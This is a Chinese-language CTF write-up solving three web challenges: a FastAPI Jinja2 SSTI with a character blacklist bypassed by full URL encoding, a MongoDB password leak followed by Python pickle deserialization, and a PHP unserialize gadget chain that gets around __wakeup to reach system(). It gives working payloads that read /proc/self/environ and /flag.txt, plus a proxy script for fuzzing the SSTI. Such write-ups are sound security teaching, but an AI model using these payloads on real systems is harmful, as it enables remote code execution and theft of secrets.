ez_SSTI

打法1

看代码:

from fastapi import FastAPI, HTTPException, Request, Body
from fastapi.responses import JSONResponse
from pydantic import BaseModel
from starlette.middleware.sessions import SessionMiddleware
from urllib.parse import unquote
from jinja2 import Template
import uvicorn
import secrets
import os
import string

app = FastAPI(title="ez_ssti")
random_key = secrets.token_urlsafe(32)
app.add_middleware(SessionMiddleware, secret_key=random_key)
random_password = secrets.token_urlsafe(32)

users = {
    "admin": {
        "password": random_password, 
        "money": 10
    }
}

class LoginRequest(BaseModel):
    username: str
    password: str

class RegisterRequest(BaseModel):
    username: str
    password: str

class SstiRequest(BaseModel):
    payload: str

class GiveMoneyRequest(BaseModel):
    username: str
    money: int

class ResetPasswordRequest(BaseModel):
    username: str
    old_password: str
    new_password: str


@app.get("/health")
async def health():
    return {"status": "ok"}

@app.post("/login")
async def login(request: Request, data: LoginRequest):
    if data.username not in users:
        raise HTTPException(status_code=404, detail="User not found")
    if users[data.username]["password"] != data.password:
        raise HTTPException(status_code=401, detail="Incorrect password")
    
    request.session["user"] = data.username
    return {"message": "Login successful", "user": data.username}

@app.post("/register")
async def register(data: RegisterRequest):
    if data.username in users:
        raise HTTPException(status_code=400, detail="User already exists")
    users[data.username] = {"password": data.password, "money": 5}
    return {"message": "Registration successful"}

@app.post("/ssti")
async def ssti(request: Request, data: SstiRequest):
    user = request.session.get("user")
    if not user:
        raise HTTPException(status_code=403, detail="Not authenticated")
    
    if user != "admin" and users[user]["money"] > 100000:
        base_forbidden = {"{","}","\"", "'", "_", "[", "]", "g", "l", "o", "i", "p", "k", "m", "n", "y", "z", ".", "/", "<", ">", ",", "&", "-", "#", "$", "~", "+", "*"}   
        uppercase_letters = set(string.ascii_uppercase)
        forbidden = base_forbidden.union(uppercase_letters)
        
        for char in data.payload:
            if char in forbidden:
                return JSONResponse(status_code=403, content={"detail": f"Character '{char}' is forbidden!"})
            
        try:
            decoded_payload = unquote(data.payload)
            template = Template(decoded_payload)
            rendered = template.render(request=request)
            return {"result": rendered}
        except Exception as e:
            return {"error": str(e)}
            
    return JSONResponse(status_code=403, content={"detail": "You are not rich enough or you are admin (admin knows nothing about ssti)"})

@app.post("/give_money")
async def give_money(request: Request, data: GiveMoneyRequest):
    current_user = request.session.get("user")
    
    if not current_user:
        raise HTTPException(status_code=403, detail="Not authenticated")
    if data.username == current_user:
        raise HTTPException(status_code=403, detail="Cannot give money to yourself")
    if data.username not in users:
        raise HTTPException(status_code=404, detail="Target user not found")
    
    if data.money <= 0:
        raise HTTPException(status_code=400, detail="Money must be positive")
    
    if data.money > 10000:
        raise HTTPException(status_code=400, detail="Maximum transfer amount is 10000")
    
    if current_user != "admin" and users[current_user]["money"] < data.money:
        raise HTTPException(status_code=400, detail="Not enough money")
    
    if current_user != "admin":
        users[current_user]["money"] -= data.money

    users[data.username]["money"] += data.money
    return {"message": "Money given successfully", "current_balance": users[current_user]["money"]}

@app.post("/reset_password")
async def reset_password(data: ResetPasswordRequest):
    if data.username not in users:
        raise HTTPException(status_code=404, detail="User not found")

    real_password_hash = hash(users[data.username]["password"])
    target_value = real_password_hash & 0xfff
    
    try:
        input_bytes = data.old_password.encode('latin-1')[-3:].rjust(3, b'\x00')
        input_value = int.from_bytes(input_bytes, 'big')
    except:
        input_value = -1

    if data.old_password == users[data.username]["password"] or input_value == target_value:
        users[data.username]["password"] = data.new_password
        return {"message": "Password reset successful"}

    raise HTTPException(status_code=401, detail="Incorrect old password hash prefix")

@app.get("/user")
async def get_user(request: Request):
    user = request.session.get("user")
    if not user:
        raise HTTPException(status_code=403, detail="Not authenticated")
    user_data = users.get(user)
    if not user_data:
        raise HTTPException(status_code=404, detail="User data corrupted")

    return {
        "username": user,
        "money": user_data["money"]
    }

if __name__ == "__main__":
    uvicorn.run("main:app", host="0.0.0.0", port=8000, reload=True)

碰见这种题目,先看路由以及对应函数名称,看他实现了什么功能

目标是/ssti路由下的模板渲染漏洞,要求用户不是admin且钱大于等于10000元

怎么得到非admin用户呢?就要用到注册路由/register,注意输入格式

那么金额的问题怎么办呢,我们再看看别的路由

@app.post("/give_money")
async def give_money(request: Request, data: GiveMoneyRequest):
    current_user = request.session.get("user")
    
    if not current_user:
        raise HTTPException(status_code=403, detail="Not authenticated")
    if data.username == current_user:
        raise HTTPException(status_code=403, detail="Cannot give money to yourself")
    if data.username not in users:
        raise HTTPException(status_code=404, detail="Target user not found")
    
    if data.money <= 0:
        raise HTTPException(status_code=400, detail="Money must be positive")
    
    if data.money > 10000:
        raise HTTPException(status_code=400, detail="Maximum transfer amount is 10000")
    
    if current_user != "admin" and users[current_user]["money"] < data.money:
        raise HTTPException(status_code=400, detail="Not enough money")
    
    if current_user != "admin":
        users[current_user]["money"] -= data.money

    users[data.username]["money"] += data.money
    return {"message": "Money given successfully", "current_balance": users[current_user]["money"]}

漏洞主要出现在这里:

if current_user != "admin":
        users[current_user]["money"] -= data.money

非admin用户给别人转账不花钱,且转账不用知道密码,那思路就明确了:用admin给刚刚新建的用户转账,直到新建用户金额大于10000

因为转账要验明身份,那么下一步就是登录admin账户,拿到cookie了,我们跟进reset_password路由,发现也是有漏洞的

@app.post("/reset_password")
async def reset_password(data: ResetPasswordRequest):
    if data.username not in users:
        raise HTTPException(status_code=404, detail="User not found")

    real_password_hash = hash(users[data.username]["password"])
    target_value = real_password_hash & 0xfff
    
    try:
        input_bytes = data.old_password.encode('latin-1')[-3:].rjust(3, b'\x00')
        input_value = int.from_bytes(input_bytes, 'big')
    except:
        input_value = -1

    if data.old_password == users[data.username]["password"] or input_value == target_value:
        users[data.username]["password"] = data.new_password
        return {"message": "Password reset successful"}

    raise HTTPException(status_code=401, detail="Incorrect old password hash prefix")

输入的旧密码后三位和原密码按位与0xfff后的值相等,也可以实现获取admin的cookie,然后就是转账了,这里不赘述

ok,接着往下走,成功进入ssti路由,看看怎么利用

@app.post("/ssti")
async def ssti(request: Request, data: SstiRequest):
    user = request.session.get("user")
    if not user:
        raise HTTPException(status_code=403, detail="Not authenticated")
    
    if user != "admin" and users[user]["money"] > 100000:
        base_forbidden = {"{","}","\"", "'", "_", "[", "]", "g", "l", "o", "i", "p", "k", "m", "n", "y", "z", ".", "/", "<", ">", ",", "&", "-", "#", "$", "~", "+", "*"}   
        uppercase_letters = set(string.ascii_uppercase)
        forbidden = base_forbidden.union(uppercase_letters)
        
        for char in data.payload:
            if char in forbidden:
                return JSONResponse(status_code=403, content={"detail": f"Character '{char}' is forbidden!"})
            
        try:
            decoded_payload = unquote(data.payload)
            template = Template(decoded_payload)
            rendered = template.render(request=request)
            return {"result": rendered}
        except Exception as e:
            return {"error": str(e)}
            
    return JSONResponse(status_code=403, content={"detail": "You are not rich enough or you are admin (admin knows nothing about ssti)"})

这里的绕过看起来很难,其实是障眼法

我们直接全量url编码即可,关键在于unquote这个函数,他会把%还原回原来的字符,具体过程我们跟进这个函数:

_asciire = re.compile('([\x00-\x7f]+)')

def unquote(string, encoding='utf-8', errors='replace'):
    """Replace %xx escapes by their single-character equivalent. The optional
    encoding and errors parameters specify how to decode percent-encoded
    sequences into Unicode characters, as accepted by the bytes.decode()
    method.
    By default, percent-encoded sequences are decoded with UTF-8, and invalid
    sequences are replaced by a placeholder character.

    unquote('abc%20def') -> 'abc def'.
    """
    if isinstance(string, bytes):
        return unquote_to_bytes(string).decode(encoding, errors)
    if '%' not in string:
        string.split
        return string
    if encoding is None:
        encoding = 'utf-8'
    if errors is None:
        errors = 'replace'
    bits = _asciire.split(string)
    res = [bits[0]]
    append = res.append
    for i in range(1, len(bits), 2):
        append(unquote_to_bytes(bits[i]).decode(encoding, errors))
        append(bits[i + 1])
    return ''.join(res)

所以我们直接全量url编码即可

payload = "{{request.app.routes.__getitem__(4).endpoint.__globals__['os'].popen('cat /proc/self/environ').read()}}"

encoded = "".join(f"%{ord(c):02x}" for c in payload)
print(encoded)

其实这里还有一种打法,我觉得挺有意思的,主要是应对复杂的ssti过滤,拿出来分享给大家:

打法2

我们本地搭建一个网站,作为fenjing和靶机的中转站

代码如下:

import requests
from flask import Flask, request
app = Flask(__name__)
@app.route('/test',methods=['GET'])
def proxy():
    test = request.args.get('test')
    return ret(test)

def ret(payload):


# 构建请求头
    headers = {
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36",
        "Cookie": "session=eyJ1c2VyIjogImFkbWluMSJ9.aag1XQ.z20EEeF_G2rNRyC4zkfdDXygECI; path=/; Max-Age=1209600; httponly; samesite=lax",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Content-Type": "application/json"
    }

    # 构建请求体(JSON格式)


    # 目标 URL

# 打印响应内容


    # 请求体数据
    encoded = "".join(f"%{ord(c):02x}" for c in payload)
    print(encoded)
    data = {"payload": encoded}

    # 目标 URL
    url = "http://8000-7bb886fc-b540-4fbc-9df7-b2d6d24cb1a6.challenge.ctfplus.cn/ssti"

    # 发送 POST 请求
    response = requests.post(url, headers=headers, json=data)

    # 打印响应内容
    return response.text

if __name__ == '__main__':
    app.run(port = 8000)

这样我们就把原本需要编码的输入直接转换成明文,方便fenjing进行爆破

好玩捏

mongo

开题,有两个靶机,有意思。

先看源码(app.py):

import threading
import time
import pickle
import base64
import random
import string
from flask import Flask, request, session, render_template_string, redirect, url_for
from pymongo import MongoClient
import secrets
import os

app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)
REAL_ADMIN_PASSWORD = secrets.token_hex(8)
MONGO_USER = os.getenv("MONGO_USER", "root")
MONGO_PASS = os.getenv("MONGO_PASS", "example")
MONGO_HOST = os.getenv("MONGO_HOST", "127.0.0.1")

MONGO_URI = f"mongodb://{MONGO_USER}:{MONGO_PASS}@{MONGO_HOST}:27017/"
client = MongoClient(MONGO_URI)
db = client["ctf_db"]
memory_col = db["memory_sprayer"] 

def memory_injector():
    time.sleep(5)
    
    save = f"adminpw:{REAL_ADMIN_PASSWORD}"*300
    last_cleanup_time = time.time()
    while True:
        try:
            memory_col.insert_one({
                "type": "secret", 
                "message": save ,
            })
            
            memory_col.find_one({"type": "secret"})
            current_time = time.time()
            if current_time - last_cleanup_time > 10:
                memory_col.delete_many({})  
                last_cleanup_time = current_time  
                
            if memory_col.count_documents({}) > 200:
                memory_col.delete_many({})
                
            time.sleep(0.05)
            
        except Exception as e:
            print(f"[!] Bot Error: {e}")
            time.sleep(1)

bg_thread = threading.Thread(target=memory_injector, daemon=True)
bg_thread.start()

@app.route('/')
def index():
    return """
    <h1>CTF Admin Portal</h1>
    <p>We detected a memory leak in our DB, so we moved sensitive data to RAM only. Safe, right?</p>
    <form action="/login" method="POST">
        Username: <input type="text" name="username" value="admin"><br>
        Password: <input type="password" name="password"><br>
        <input type="submit" value="Login">
    </form>
    """

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')

    if username == 'admin' and password == REAL_ADMIN_PASSWORD:
        session['is_admin'] = True
        return redirect(url_for('admin_panel'))
    else:
        return "<h3>Login Failed. The password is in the DB memory... somewhere.</h3>"

@app.route('/admin', methods=['GET', 'POST'])
def admin_panel():
    if not session.get('is_admin'):
        return redirect(url_for('index'))

    output = ""
    if request.method == 'POST':
        try:
            pickle_data = request.form.get('settings')
            if pickle_data:
                decoded = base64.b64decode(pickle_data)
                obj = pickle.loads(decoded)
                
                output = f"Settings loaded successfully: {obj}"
        except Exception as e:
            output = f"Error loading settings: {e}"

    return render_template_string("""
    <h1>Welcome Admin</h1>
    <p>Flag is in <code>/flag.txt</code>. Use the setting importer to get it.</p>
    <hr>
    <h3>Import Legacy Settings (Pickle format, Base64 encoded)</h3>
    <form method="POST">
        <textarea name="settings" rows="5" cols="50"></textarea><br>
        <input type="submit" value="Import & Execute">
    </form>
    <pre>{{ output }}</pre>
    """, output=output)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

一共两个路由,一眼顶针,漏洞在这里:

obj = pickle.loads(decoded)

直白的pickle反序列化,接着看:

定义了一个函数并且调用了:

def memory_injector():
    time.sleep(5)
    
    save = f"adminpw:{REAL_ADMIN_PASSWORD}"*300
    last_cleanup_time = time.time()
    while True:
        try:
            memory_col.insert_one({
                "type": "secret", 
                "message": save ,
            })
            
            memory_col.find_one({"type": "secret"})
            current_time = time.time()
            if current_time - last_cleanup_time > 10:
                memory_col.delete_many({})  
                last_cleanup_time = current_time  
                
            if memory_col.count_documents({}) > 200:
                memory_col.delete_many({})
                
            time.sleep(0.05)
            
        except Exception as e:
            print(f"[!] Bot Error: {e}")
            time.sleep(1)

bg_thread = threading.Thread(target=memory_injector, daemon=True)
bg_thread.start()

这里其实就是在不停的向数据库插入大量的admin密码,每10秒清空数据再接着写入

欧克,思路清晰了,靶机2应该就是连通数据库的端口

叫ai写个脚本连接数据库,看看密码:

from pymongo import MongoClient

# 注意:这里的 IP 和 端口 换成图片中给出的那个 nc 地址
# 账号密码依然使用代码里默认的 root / example
remote_uri = "mongodb://root:example@nc1.ctfplus.cn:41325/"

try:
    client = MongoClient(remote_uri, serverSelectionTimeoutMS=5000)
    db = client["ctf_db"]
    memory_col = db["memory_sprayer"]

    # 查找那条被“喷洒”出来的秘密消息
    record = memory_col.find_one({"type": "secret"})
    if record:
        # 密码格式是 adminpw:XXXXXX,我们需要提取出来
        raw_message = record['message']
        password = raw_message.split(':')[1][:16] # 假设密码是 16 位 hex
        print(f"[*] 成功拿到管理员密码: {password}")
    else:
        print("[!] 没找到记录,可能是刚清理完,请多运行几次脚本")
except Exception as e:
    print(f"[!] 连接失败: {e}")

拿到密码后访问admin路由,就正常打pickle反序列化

import pickle
import base64

# 定义一个恶意类
class Exploit:
    def __reduce__(self):
        # __reduce__ 必须返回一个元组:(可执行函数, (参数,))
        
        cmd = "__import__('os').popen('cat /flag.txt').read()"

        # 使用 eval 执行命令并返回结果字符串
        return (eval, (cmd,))

# 序列化并进行 Base64 编码
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(f"生成的 Payload:\n{payload}")

ez_php

看源码:

<?php
error_reporting(0);
highlight_file(__FILE__);

class getHandler {
    public $p;
    public $a;
    
    public function __construct() {
        $this->p = new class {
            private $handle;
            
            public function __construct() {
                $this->handle = tmpfile();
            }
            
            public function __wakeup() {
                $this->handle = null;
            }
            
            public function execute() {
                if (!is_resource($this->handle)) {
                    die("无效的资源状态<br>");
                }
                system($_GET['cmd']);
            }
        };
    }
    
    public function __destruct() {
        if (!is_array($this->a)) {
            die("错误:a 必须是数组");
        }
        $cb=$this->a;
        $cb();
    }
}

$payload = $_GET['p'] ?? 'O:10:"getHandler":N';
@unserialize($payload);
错误:a 必须是数组

这题的难点其实是如何绕过wakeup魔术方法

public function __wakeup() {
    $this->handle = null;
}

直接反序列化这个新建的匿名类会导致该魔术方法被触发,handle被设置为null,过不了execute这个函数的判断,无法利用

那我们来看看怎么绕过这个魔术方法:

首先,我们需要调用匿名类中的construct方法,使handle不为空,引入第一个getHandler实例

然后,我们需要一个暂时不被销毁的实例来存放刚刚的handle,引入第二个getHandler实例

最后,我们还需要一个用来触发destruct的实例,引入第三个getHandler实例

可能没听懂,我们来结合代码来看看:

<?php
class getHandler {
    public $p;
    public $a;
}

$obj1 = new getHandler(); // 创造者
$obj2 = new getHandler(); // 执行者
$obj3 = new getHandler(); // 工具人

// 1号销毁时,去调用 3号的 __construct,把拥有正常 tmpfile 的匿名类塞进 3号的 p 属性
$obj1->a = array($obj3, '__construct');

// 2号销毁时,利用引用魔法,去调用 3号新生的 p 属性里的 execute 方法
$obj2->a = array(&$obj3->p, 'execute');

// 把它们塞进数组。数组销毁遵循先进先出,所以严格保证 1号 先于 2号 销毁
$arr = array($obj1, $obj2, $obj3);

echo urlencode(serialize($arr));
?>

首先实例化三个getHandler类,把他们塞进一个数组中(为了保证obj1先于obj2销毁)

销毁obj1时,触发obj3中的construct方法,不会主动触发wakeup

然后引用obj3的地址,赋值给obj2,销毁obj2时会触发obj3的execute方法,实现命令执行,ok了